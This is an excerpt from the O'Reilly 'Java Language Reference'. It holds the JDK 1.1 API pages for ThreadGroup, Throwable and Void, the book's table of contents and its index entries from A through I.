public ThreadGroup(ThreadGroup parent, String name)

Parameters

parent

The ThreadGroup object that this ThreadGroup object is to be added to.

name

The name of this ThreadGroup object.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a ThreadGroup object with the specified name and parent ThreadGroup object.

Instance Methods

activeCount

public int activeCount()

Returns

An approximation of the current number of threads in this ThreadGroup object and any child ThreadGroup objects.

Description

This method returns an approximation of the number of threads that belong to this ThreadGroup object and any child ThreadGroup objects. The count is approximate because a thread can die after it is counted, but before the complete count is returned. Also, after a child ThreadGroup is counted but before the total count is returned, additional Thread and ThreadGroup objects can be added to a child ThreadGroup.

activeGroupCount

public int activeGroupCount()

Returns

An approximation of the current number of child ThreadGroup objects in this ThreadGroup object.

Description

This method returns an approximation of the number of child ThreadGroup objects that belong to this ThreadGroup object. The count is approximate because after a child ThreadGroup is counted but before the total count is returned, additional ThreadGroup objects can be added to a child ThreadGroup.

allowThreadSuspension

public boolean allowThreadSuspension(boolean b)

Availability

New as of JDK 1.1

Parameters

b

A boolean value that specifies whether or not the run-time system is allowed to suspend threads due to low memory.

Returns

The boolean value true.

Description

This method specifies whether or not the Java virtual machine is allowed to suspend threads due to low memory.

checkAccess

public final void checkAccess()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method determines if the currently running thread has permission to modify this ThreadGroup object.

destroy

public final void destroy()

Throws

IllegalThreadStateException

If this ThreadGroup object is not empty, or if it has already been destroyed.

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method destroys this ThreadGroup object and any child ThreadGroup objects. The ThreadGroup must not contain any Thread objects. This method also removes the ThreadGroup object from its parent ThreadGroup object.

enumerate

public int enumerate(Thread list[])

Parameters

list

A reference to an array of Thread objects.

Returns

The number of Thread objects stored in the array.

Description

This method stores a reference in the array for each of the Thread objects that belongs to this ThreadGroup or any of its child ThreadGroup objects.

If the array is not big enough to contain references to all the Thread objects, only as many references as will fit are put into the array. No indication is given that some Thread objects were left out, so it is a good idea to call activeCount() before calling this method, to get an idea of how large to make the array.

public int enumerate(Thread list[], boolean recurse)

Parameters

list

A reference to an array of Thread objects.

recurse

A boolean value that specifies whether or not to include Thread objects that belong to child ThreadGroup objects of this ThreadGroup object.

Returns

The number of Thread objects stored in the array.

Description

This method stores a reference in the array for each of the Thread objects that belongs to this ThreadGroup object. If recurse is true, the method also stores a reference for each of the Thread objects that belongs to a child ThreadGroup object of this ThreadGroup.

If the array is not big enough to contain references to all the Thread objects, only as many references as will fit are put into the array. No indication is given that some Thread objects were left out, so it is a good idea to call activeCount() before calling this method, to get an idea of how large to make the array.

public int enumerate(ThreadGroup list[])

Parameters

list

A reference to an array of ThreadGroup objects.

Returns

The number of ThreadGroup objects stored in the array.

Description

This method stores a reference in the array for each ThreadGroup object that belongs to this ThreadGroup or any of its child ThreadGroup objects.

If the array is not big enough to contain references to all the ThreadGroup objects, only as many references as will fit are put into the array. No indication is given that some ThreadGroup objects were left out, so it is a good idea to call activeGroupCount() before calling this method, to get an idea of how large to make the array.

public int enumerate(Thread list[], boolean recurse)

Parameters

list

A reference to an array of ThreadGroup objects.

recurse

A boolean value that specifies whether or not to include ThreadGroup objects that belong to child ThreadGroup objects of this ThreadGroup object.

Returns

The number of ThreadGroup objects stored in the array.

Description

This method stores a reference in the array for each of the ThreadGroup objects that belongs to this ThreadGroup object. If recurse is true, the method also stores a reference for each of the ThreadGroup objects that belongs to a child ThreadGroup object of this ThreadGroup.

If the array is not big enough to contain references to all the ThreadGroup objects, only as many references as will fit are put into the array. No indication is given that some ThreadGroup objects were left out, so it is a good idea to call activeGroupCount() before calling this method, to get an idea of how large to make the array.

getMaxPriority

public final int getMaxPriority()

Returns

The maximum priority that can be assigned to Thread objects that belong to this ThreadGroup object.

Description

This method returns the maximum priority that can be assigned to Thread objects that belong to this ThreadGroup object.

It is possible for a ThreadGroup to contain Thread objects that have higher priorities than this maximum, if they were given that higher priority before the maximum was set to a lower value.

getName

public final String getName()

Returns

The name of this ThreadGroup object.

Description

This method returns the name of this ThreadGroup object.

getParent

public final ThreadGroup getParent()

Returns

The parent ThreadGroup object of this ThreadGroup, or null if this ThreadGroup is the root of the thread group hierarchy.

Description

This method returns the parent ThreadGroup object of this ThreadGroup object. If this ThreadGroup is at the root of the thread group hierarchy and has no parent, the method returns null.

isDaemon

public final boolean isDaemon()

Returns

true if this ThreadGroup is a daemon thread group; otherwise false.

Description

This method determines whether or not this ThreadGroup is a daemon thread group, based on the value of daemon attribute of this ThreadGroup object. A daemon thread group is destroyed when the last Thread in it is stopped, or the last ThreadGroup in it is destroyed.

isDestroyed

public synchronized boolean isDestroyed()

Availability

New as of JDK 1.1

Returns

true if this ThreadGroup has been destroyed; otherwise false.

Description

This method determines whether or not this ThreadGroup has been destroyed.

list

public void list()

Description

This method outputs a listing of the contents of this ThreadGroup object to System.out.

parentOf

public final boolean parentOf(ThreadGroup g)

Parameters

g

A ThreadGroup object.

Returns

true if this ThreadGroup object is the same ThreadGroup, or a direct or indirect parent of the specified ThreadGroup; otherwise false.

Description

This method determines if this ThreadGroup object is the same as the specified ThreadGroup or one of its ancestors in the thread-group hierarchy.

resume

public final void resume()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method resumes each Thread object that directly or indirectly belongs to this ThreadGroup object by calling its resume() method.

setDaemon

public final void setDaemon(boolean daemon)

Parameters

daemon

The new value for this ThreadGroup object's daemon attribute.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method sets the daemon attribute of this ThreadGroup object to the given value. A daemon thread group is destroyed when the last Thread in it is stopped, or the last ThreadGroup in it is destroyed.

setMaxPriority

public final void setMaxPriority(int pri)

Parameters

pri

The new maximum priority for Thread objects that belong to this ThreadGroup object.

Description

This method sets the maximum priority that can be assigned to Thread objects that belong to this ThreadGroup object.

It is possible for a ThreadGroup to contain Thread objects that have higher priorities than this maximum, if they were given that higher priority before the maximum was set to a lower value.

stop

public final void stop()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method stops each Thread object that directly or indirectly belongs to this ThreadGroup object by calling its stop() method.

suspend

public final void suspend()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

This method suspends each Thread object that directly or indirectly belongs to this ThreadGroup object by calling its suspend() method.

toString

public String toString()

Returns

A string representation of this ThreadGroup object.

Overrides

Object.toString()

Description

This method returns a string representation of this ThreadGroup object.

uncaughtException

public void uncaughtException(Thread t, Throwable e)

Parameters

t

A reference to a Thread that just died because of an uncaught exception.

e

The uncaught exception.

Description

This method is called when a Thread object that belongs to this ThreadGroup object dies because of an uncaught exception. If this ThreadGroup object has a parent ThreadGroup object, this method just calls the parent's uncaughtException() method. Otherwise, this method must determine whether the uncaught exception is an instance of ThreadDeath. If it is, nothing is done. If it is not, the method calls the printStackTrace() method of the exception object.

If this method is overridden, the overriding method should end with a call to super.uncaughtException().

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Exceptions;
Object;
Runnable;
SecurityManager;
Thread;
Threads 8;
Throwable

Previous | Home | Next
Thread | Book Index | Throwable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Throwable

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Throwable

Name

Throwable

Synopsis

Class Name:

java.lang.Throwable

Superclass:

java.lang.Object

Immediate Subclasses:

java.lang.Error, java.lang.Exception

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Throwable class is the superclass of all objects that can be thrown by the throw statement in Java. This is a requirement of the throw statement.

A Throwable object can have an associated message that provides more detail about the particular error or exception that is being thrown.

The Throwable class provides a method that outputs information about the state of the system when an exception object is created. This method can be useful in debugging Java programs.

The subclasses of Throwable that are provided with Java do not add functionality to Throwable. Instead, they offer more specific classifications of errors and exceptions.

Class Summary

public class java.lang.Throwable extends java.lang.Object
                                 implements java.lang.Serializable {
    // Constructors
    public Throwable();
    public Throwable(String message);
    // Instance Methods
    public native Throwable fillInStackTrace();
    public String getLocalizedMessage();               // New in 1.1
    public String getMessage();
    public void printStackTrace();
    public void printStackTrace(PrintStream s);
    public void printStackTrace(PrintWriter s);        // New in 1.1
    public String toString();
}

Constructors

Throwable

public Throwable()

Description

Creates a Throwable object with no associated message. This constructor calls fillInStackTrace() so that information is available for printStackTrace().

public Throwable(String message)

Parameters

message

A message string to be associated with the object.

Description

Create a Throwable object with an associated message. This constructor calls fillInStackTrace() so that information is available for printStackTrace().

Instance Methods

fillInStackTrace

public native Throwable fillInStackTrace()

Returns

A reference to this object.

Description

This method puts stack trace information in this Throwable object. It is not usually necessary to explicitly call this method, since it is called by the constructors of the class. However, this method can be useful when rethrowing an object. If the stack trace information in the object needs to reflect the location that the object is rethrows from, fillInStackTrace() should be called.

getLocalizedMessage

public String getLocalizedMessage()

Availability

New as of JDK 1.1

Returns

A localized version of the String object associated with this Throwable object, or null if there is no message associated with this object.

Description

This method creates a localized version of the message that was associated with this object by its constructor.

The getLocalizedMessage() method in Throwable always returns the same result as getMessage(). A subclass must override this method to produce a locale-specific message.

getMessage

public String getMessage()

Returns

The String object associated with this Throwable object, or null if there is no message associated with this object.

Description

This method returns any string message that was associated with this object by its constructor.

printStackTrace

public void printStackTrace()

Description

This method outputs the string representation of this Throwable object and a stack trace to System.err.

public void printStackTrace(PrintStream s)

Parameters

s

A java.io.PrintStream object.

Description

This method outputs the string representation of this Throwable object and a stack trace to the specified PrintStream object.

public void printStackTrace(PrintStream w)

Availability

New as of JDK 1.1

Parameters

s

A java.io.PrintWriter object.

Description

This method outputs the string representation of this Throwable object and a stack trace to the specified PrintWriter object.

toString

public String toString()

Returns

A string representation of this object.

Overrides

Object.toString()

Description

This method returns a string representation of this Throwable object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Errors; Exceptions; Object

Previous | Home | Next
ThreadGroup | Book Index | Void
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Void

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Void

Name

Void

Synopsis

Class Name:

java.lang.Void

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability

New as of JDK 1.1

Description

The Void class is an uninstantiable wrapper for the primitive type void. The class contains simply a reference to the Class object that represents the primitive type void. The Void class is necessary as of JDK 1.1 to support the Reflection API and class literals.

Class Summary

public final class java.lang.Void extends java.lang.Object {
  // Constants
  public static final Class TYPE;
}

Constants

TYPE

public static final Class TYPE

The Class object that represents the primitive type void. It is always true that Void.TYPE == void.class.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Byte;
Character;
Class;
Double;
Float;
Integer;
Long;
Short

Previous | Home | Next
Throwable | Book Index | The Unicode 2.0 Character Set
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


Java Language Reference

Java Language Reference
By Mark Grand; 1-56592-326-X, 450 pages (est.)
2nd Edition July 1997 (est.)

Table of Contents

Preface
Chapter 1: Introduction
Chapter 2: Lexical Analysis
Chapter 3: Data Types
Chapter 4: Expressions
Chapter 5: Declarations
Chapter 6: Statements and Control Structures
Chapter 7: Program Structure
Chapter 8: Threads
Chapter 9: Exception Handling
Chapter 10: The java.lang Package

Appendix A: The Unicode 2.0 Character Set
Index

Search the text of Java Language Reference.

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Symbols

& (ampersand)
& (bitwise AND) operator : Bitwise/Logical AND Operator &
&& (boolean AND) operator : Boolean AND Operator &&
* (asterisk)
in import directive : The import Directive
* (multiplication) operator : Multiplication Operator *
@ tags, javadoc : Documentation Comments
\ (backslash) (see Unicode characters) : Character literals
\u escapes (see Unicode characters)
! (bang)
! (unary negation) operator : Boolean Negation Operator !
!= (not-equal-to) operator : Not-Equal-To-Operator !=
[ ] (brackets)
array allocation expressions : Array Allocation Expressions
in array type declarations
Array Types
Local variable type
^ (bitwise exclusive OR) operator : Bitwise/Logical Exclusive OR Operator ^
, (comma)
Operators
The for Statement
= (equal sign)
= (assignment) operator : Assignment Operators
= = (equal-to) operator : Equal-To Operator ==
- (hyphen)
- (arithmetic subtraction) operator : Arithmetic Subtraction Operator -
- (unary minus) operator : Unary Minus Operator -
- - (decrement) operator
Field Expressions
Increment/Decrement Operators
< (left angle bracket)
< (less-than) operator : Less-Than Operator <
<= (less-than-or-equal-to) operator : Less-Than-Or-Equal-To Operator <=
<< (left shift) operator : Left Shift Operator <<
( ) (parentheses) : Parenthetical Expressions
cast operations : Casts
object allocation expressions : Object Allocation Expressions
% (remainder) operator : Remainder Operator %
+ (plus)
+ (arithmetic addition) operator : Arithmetic Addition Operator +
+ (string concatentation) operator
null
String Concatenation Operator +
+ (unary plus) operator : Unary Plus Operator +
++ (increment) operator
Field Expressions
Increment/Decrement Operators
?: (conditional) operator : Conditional Operator
> (right angle bracket)
> (greater-than) operator : Greater-Than Operator >
>= (greater-than-or-equal-to) operator : Greater-Than-Or-Equal-To Operator >=
>> (right shift) operator : Right Shift Operator >>
>>> (unsigned right shift) operator : Unsigned Right Shift Operator >>>
; (semicolon) : Method implementation
/ (slash)
/ (division) operator : Division Operator /
/* */ C-style comments
A "Hello World" Program
Comments
// single-line comments
A "Hello World" Program
Comments
/** */ documentation comments
Comments
Documentation Comments
~ ((bitwise negation) operator : Bitwise Negation Operator ~
| (vertical bar)
| (bitwise include OR) operator : Bitwise/Logical Inclusive OR Operator |
|| (boolean OR) operator : Boolean OR Operator ||


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

A

abs( ) : Math
abstract classes
Abstract classes
Class Modifiers
abstract modifier
interfaces and : Interface Modifiers
methods and
Method modifiers
Interface method modifiers
AbstractMethodError error : Errors
access (see also security, SecurityManager class)
acos( ) : Math
activeCount( )
Thread class : Thread
ThreadGroup class : ThreadGroup
activeGroupCount( ) : ThreadGroup
addition (+) operator, arithmetic : Arithmetic Addition Operator +
additive operators : Additive Operators
align attribute (<applet> tag) : Embedding an Applet in a Web Page
alive threads : Controlling a Thread
allocation
Reference Types
Allocation Expressions
Object-Orientation Java Style
allowThreadSuspension( ) : ThreadGroup
alt attribute (<applet> tag) : Embedding an Applet in a Web Page
AND (&) operator, bitwise : Bitwise/Logical AND Operator &
AND (&&) operator, boolean : Boolean AND Operator &&
append( )
StringBuffer class : StringBuffer
Applet class : Applets
<applet> tag (HTML) : Embedding an Applet in a Web Page
applets
Applets
Threads
application : Running a Java Application
applications : Applications
archive attribute (<applet> tag) : Embedding an Applet in a Web Page
arithmetic addition (+) operator : Arithmetic Addition Operator +
arithmetic data types : Arithmetic Types
arithmetic subtraction (-) operator : Arithmetic Subtraction Operator -
ArithmeticException exception : Runtime exceptions
ArrayIndexOutOfBoundsException exception
Array Types
Runtime exceptions
arrays : Array Types
allocation expressions for : Array Allocation Expressions
arraycopy( ) : System
assigning elements (see assignment operators)
creating : Allocation Expressions
index expressions : Index Expressions
length of : Array Types
local : Local variable type
multi-dimensional
Array Types
Array Allocation Expressions
Variable type
Local variable type
ArrayStoreException exception : Runtime exceptions
asin( ) : Math
assignment
compatibility
Integer types
Floating-point types
Assignment Compatibility
operators
Operators
Assignment Operators
associativity, operator : Order of Operations
atan( ) : Math
atan2( ) : Math
@author tag (javadoc) : Documentation Comments

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

B

balking strategy (threads) : Balking
binary
addition (+) operator : Arithmetic Addition Operator +
division (/) operator : Division Operator /
multiplication (*) operator : Multiplication Operator *
remainder (%) operator : Remainder Operator %
subtraction (-) operator : Arithmetic Subtraction Operator -
bit shifting : Shift Operators
bitwise operators : Bitwise/Logical Operators
AND (&) : Bitwise/Logical AND Operator &
negation (~) : Bitwise Negation Operator ~
OR (^) operator : Bitwise/Logical Exclusive OR Operator ^
OR (|) operator : Bitwise/Logical Inclusive OR Operator |
blocks, statement
Lexical Scope of Declarations
Blocks
BNF notation : Notational Conventions
Boolean( ) : Boolean
Boolean class
Boolean Type
Boolean
boolean data type
Boolean literals
Boolean Type
boolean operators : Boolean Operators
AND (&&) operator : Boolean AND Operator &&
negation (!) : Boolean Negation Operator !
OR (||) operator : Boolean OR Operator ||
booleanValue( ) : Boolean
break statement : The break Statement
Byte( ) : Byte
Byte class : Byte
byte data type : Integer types
byteValue( ) : Byte
Double class : Double
Float class : Float
Integer class : Integer
Long class : Long
Number class : Number
Short class : Short

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

C

C-style comments (see comments)
C++ programming language : Introduction
capacity( ) : StringBuffer
carriage return
Division of the Input Stream into Lines
Character literals
case labels : The switch Statement
case sensitivity
class names : Applications
filenames : Compiling a Java Source File
naming conventions and : Naming Conventions
package names : Packages
cast operations : Casts
catch clause (see try statement)
Handling Exceptions
Handling Exceptions
catching exceptions (see exceptions)
ceil( ) : Math
char data type : Integer types
Character( ) : Character
Character class : Character
characters
character literals : Character literals
integer data types for : Arithmetic Types
string literals : String literals
Unicode
Pre-Processing
Packages
Unicode 2.0 character set : The Unicode 2.0 Character Set
charAt( )
String class : String
StringBuffer class : StringBuffer
charValue( )
Character class : Character
checkAccept( ) : SecurityManager
checkAccess( )
SecurityManager class : SecurityManager
Thread class : Thread
ThreadGroup class : ThreadGroup
checkAwtEventQueueAccess( ) : SecurityManager
checkConnect( ) : SecurityManager
checkCreateClassLoader( ) : SecurityManager
checkDelete( ) : SecurityManager
checkExec( ) : SecurityManager
checkExit( ) : SecurityManager
checkLink( ) : SecurityManager
checkListen( ) : SecurityManager
checkMemberAccess( ) : SecurityManager
checkMulticast( ) : SecurityManager
checkPackageAccess( ) : SecurityManager
checkPackageDefinition( ) : SecurityManager
checkPrintJobAccess( ) : SecurityManager
checkPropertiesAccess( ) : SecurityManager
checkRead( ) : SecurityManager
checkSecurityAccess( )
SecurityManager
SecurityManager
checkSetFactory( ) : SecurityManager
checkSystemClipboardAccess( ) : SecurityManager
checkTopLevelWindow( ) : SecurityManager
checkWrite( ) : SecurityManager
Class : Class
class data types : Class Types
casting : Casts
.class files : Packages
ClassCastException exception
Casts
Runtime exceptions
ClassCircularityError error : Errors
classDepth( ) : SecurityManager
classes
A "Hello World" Program
Classes
abstract : Abstract classes
Class class : Class
constructors : Constructors
declaring : Lexical Scope of Declarations
documentation for : Documentation Comments
exception : The try Statement
final : Final classes
import directive : The import Directive
inheritance (see inheritance)
loading (static initializers) : Static Initializers
methods : Methods
specially supported : Specially supported classes
variables of : Variables
ClassFormatError error : Errors
ClassLoader class : ClassLoader
classLoaderDepth( ) : SecurityManager
ClassNotFoundException exception : Other exceptions
CLASSPATH variable
Compiling a Java Source File
Packages
clone( )
Object class : Object
Cloneable interface : Cloneable
CloneNotSupportedException exception : Other exceptions
code attribute (<applet> tag) : Embedding an Applet in a Web Page
codebase attribute (<applet> tag) : Embedding an Applet in a Web Page
comma (,)
Operators
The for Statement
command( ) : Compiler
comments
A "Hello World" Program
Comments
Documentation Comments
compareTo( ) : String
comparing (see also equals( ))
comparison operators : Relational Comparison Operators
compatibility, assignment
Integer types
Floating-point types
Assignment Compatibility
compilation units : Compilation Units
compileClass( ) : Compiler
compileClasses( ) : Compiler
Compiler class : Compiler
compiling Java source files : Compiling a Java Source File
compound assignment operators : Assignment Operators
concat( ) : String
concatenation (+) operator
null
String Concatenation Operator +
conditional (?:) operator : Conditional Operator
conditional AND (&&) operator : Boolean AND Operator &&
conditional operators (see boolean operators)
conditional OR (||) operator : Boolean OR Operator ||
conditional statements : The if Statement
constants
constant expressions : Constant Expressions
integer : Integer types
special floating-point : Floating-point types
constructors
Object Creation
Constructors
chaining : Constructor implementation
default : The default constructor
inheritance : Constructor inheritance
selecting to invoke : Object Allocation Expressions
super keyword and : super
for threads : Associating a Method with a Thread
continue statement
The for Statement
The continue Statement
converting
data types
Integer types
Casts
programs to Unicode : Conversion to Unicode
copyValueOf( ) : String
cos( ) : Math
countStackFrames( ) : Thread
critical section : Single-Threaded Execution
currentClassLoader( ) : SecurityManager
currentLoadedClass( ) : SecurityManager
currentThread( ) : Using Thread Objects
Thread class : Thread
currentTimeMillis( ) : System

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

D

daemon threads : Daemon threads
data types
Data Types
Variable type
assignment compatibility : Assignment Compatibility
cast operations : Casts
comparing with instanceof operator : The instanceof Operator
of expressions : Data Type of an Expression
local variables : Local variable type
decimal literals
Integer literals
Integer literals
declaring
classes : Class Declarations
exceptions : Declaring Exceptions
interfaces : Interface Declarations
lexical scope : Lexical Scope of Declarations
methods
Methods
Interface Methods
variables : Variables
decode( )
Byte( ) : Byte
Integer class : Integer
Short class : Short
decrement (- -) operator
Field Expressions
Increment/Decrement Operators
default constructor : The default constructor
defineClass( ) : ClassLoader
@deprecated tag (javadoc) : Documentation Comments
destroy( ) : Applets
Process class : Process
Thread class : Thread
ThreadGroup class : ThreadGroup
destruction, object (see garbage collection)
Digit characters : Conversion to Unicode
digit( ) : Character
disable( ) : Compiler
dividing by zero : Division Operator /
division (/) operator, binary : Division Operator /
do statement
The do Statement
documentation : Related Books
documentation comments
Comments
Documentation Comments
domain names : Packages
Double( ) : Double
Double class
Floating-point types
Double
double data type
Floating-point literals
Floating-point types
double-precision numbers (see floating-point data types)
doubleToLongBits( ) : Double
doubleValue( ) : Byte
Double class : Double
Float class : Float
Integer class : Integer
Long class : Long
Number class : Number
Short class : Short
dumpStack( ) : Thread
dynamic allocation
Reference Types
Object-Orientation Java Style
dynamic method lookup : Method Call Expression

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

E

elements, array (see arrays)
else clause (see if statement)
embedding applets in Web pages : Embedding an Applet in a Web Page
empty statements : The Empty Statement
empty string : String
enable( ) : Compiler
encapsulation : Encapsulation
encoding (see Unicode characters)
end-of-line characters : Division of the Input Stream into Lines
endsWith( ) : String
ensureCapacity( ) : StringBuffer
enumerate( )
Thread class : Thread
ThreadGroup class : ThreadGroup
equal-to (= =) operator : Equal-To Operator ==
equality operators : Equality Comparison Operators
equals( ) : The instanceof Operator
Boolean class : Boolean
Byte class : Byte
Character class : Character
Double class : Double
equalsIgnoreCase( ) : String
Integer class : Integer
Long class : Long
Object class : Object
Short class : Short
String class : String
err variable : System
Error class
Declaring Exceptions
The Exception Hierarchy
Errors
errors : Errors
EscapedSourceCharacter sequence
Conversion to Unicode
Character literals
Exception class : The Exception Hierarchy
@exception tag (javadoc) : Documentation Comments
ExceptionInInitializerError error : Errors
exceptions (see also under specific exception name)
The try Statement
Exception Handling
rethrowing : Rethrowing Exceptions
runtime : Runtime exceptions
stack traces : Printing Stack Traces
throw statement : The throw Statement
throws clause
Method throws clause
Constructor throws clause
Interface method throws clause
try statement and : The try Statement
exclusive OR (^) operator : Bitwise/Logical Exclusive OR Operator ^
exec( )
Runtime class : Runtime
exit( )
Runtime class : Runtime
System class : System
exitValue( )
Process class : Process
exp( ) : Math
explicit synchronization : Explicit Synchronization
expressions : Expression Statements
allocation : Allocation Expressions
constant : Constant Expressions
data types of : Data Type of an Expression
field : Field Expressions
index : Index Expressions
literal : Literal Expressions
method calls : Method Call Expression
order of operations in : Order of Operations
parenthetical : Parenthetical Expressions
extends clause
Inheritance
Class Inheritance
Interface Inheritance

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

F

FALSE constant : Boolean Type
FALSE value : Boolean
field declarations : Class Members
field expressions : Field Expressions
FIFO (first-in, first-out) queue : Optimistic Single-Threaded Execution
files : Compiling a Java Source File
source files
Compilation Units
Packages
fillInStackTrace( )
Rethrowing Exceptions
Throwable
final modifier
classes and
Final classes
Class Modifiers
methods and : Method modifiers
variables and : Variable modifiers
finalize( )
Object Destruction
The finalize method
Object class : Object
runFinalization( ) and
Runtime
System
runFinalizersOnExit( ) and
Runtime
System
finally clause (see try statement)
Handling Exceptions
Handling Exceptions
findLoadedClass( ) : ClassLoader
findSystemClass( ) : ClassLoader
Float( ) : Float
Float class
Floating-point types
Float
float data type
Floating-point literals
Floating-point types
floating-point data types
Floating-point literals
Floating-point types
floating-point numbers : Floating-point literals
unary minus (-) and : Unary Minus Operator -
floatToIntBits( ) : Float
floatValue( ) : Byte
Double class : Double
Float class : Float
Integer class : Integer
Long class : Long
Number class : Number
Short class : Short
floor( ) : Math
for statement
Lexical Scope of Declarations
The for Statement
forDigit( ) : Character
formal parameters
Field Expressions
Method Call Expression
Object Allocation Expressions
Method formal parameters
Constructor formal parameters
forName( ) : Class
freeMemory( ) : Runtime
friendly access
Variable modifiers
Method modifiers
Constructor modifiers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

G

garbage collection
Object Destruction
The finalize method
Daemon threads
Runtime
System
gc( )
Runtime class
Runtime
System
getBoolean( ) : Boolean
getBytes( )
String class : String
getChars( )
String class : String
StringBuffer class : StringBuffer
getClass( )
Object class : Object
getClassContext( ) : SecurityManager
getClasses( ) : Class
getClassLoader( ) : Class
getComponentType( ) : Class
getConstructor( ) : Class
getConstructors( ) : Class
getDeclaredClasses( ) : Class
getDeclaredConstructor( ) : Class
getDeclaredConstructors( ) : Class
getDeclaredField( ) : Class
getDeclaredFields( ) : Class
getDeclaredMethod( ) : Class
getDeclaredMethods( ) : Class
getDeclaringClass( ) : Class
getenv( ) : System
getErrorStream( )
Process class : Process
getField( ) : Class
getFields( ) : Class
getInCheck( ) : SecurityManager
getInputStream( )
Process class : Process
getInteger( )
Integer class : Integer
getInterfaces( ) : Class
getLocalizedInputStream( ) : Runtime
getLocalizedMessage( ) : Throwable
getLocalizedOutputStream( ) : Runtime
getLong( )
Long
Long
getMaxPriority( ) : ThreadGroup
getMessage( ) : Throwable
getMethod( ) : Class
getMethods( ) : Class
getModifiers( ) : Class
getName( )
Class class : Class
Thread class : Thread
ThreadGroup class : ThreadGroup
getNumericValue( ) : Character
getOutputStream( )
Process class : Process
getParent( ) : ThreadGroup
getPriority( ) : Thread
Thread class : Thread priority
getProperties( )
System class : System
getProperty( )
System class : System
getResource( )
Class
ClassLoader
getResourceAsStream( )
Class
ClassLoader
getRuntime( ) : Runtime
getSecurityContext( ) : SecurityManager
getSecurityManager( ) : System
getSigners( ) : Class
getSuperclass( ) : Class
getSystemResource( ) : ClassLoader
getSystemResourceAsStream( ) : ClassLoader
getThreadGroup( )
SecurityManager
Thread
getType( ) : Character
graphical user interface : Applications
greater-than (>) operator : Greater-Than Operator >
greater-than-or-equal-to (>=) operator : Greater-Than-Or-Equal-To Operator >=
groups, thread
Thread priority
Controlling groups of threads
GUI (graphical user interface) : Applications

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

H

handling exceptions (see exceptions)
hashCode( )
Boolean class : Boolean
Byte class : Byte
Character class : Character
Double class : Double
Float class : Float
Integer class : Integer
Long class : Long
Object class : Object
Short class : Short
String class : String
height attribute (<applet> tag) : Embedding an Applet in a Web Page
hexadecimal literals
Integer literals
Integer literals
HexDigit characters : Conversion to Unicode
host application : Applets
hspace attribute (<applet> tag) : Embedding an Applet in a Web Page
HTML (Hypertext Markup Language)
Documentation Comments
Embedding an Applet in a Web Page

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

I

identifiers : Identifiers
identityHashCode( ) : System
IEEEremainder( ) : Math
if statement : The if Statement
IllegalAccessError error : Errors
IllegalAccessException exception : Other exceptions
IllegalArgumentException exception : Runtime exceptions
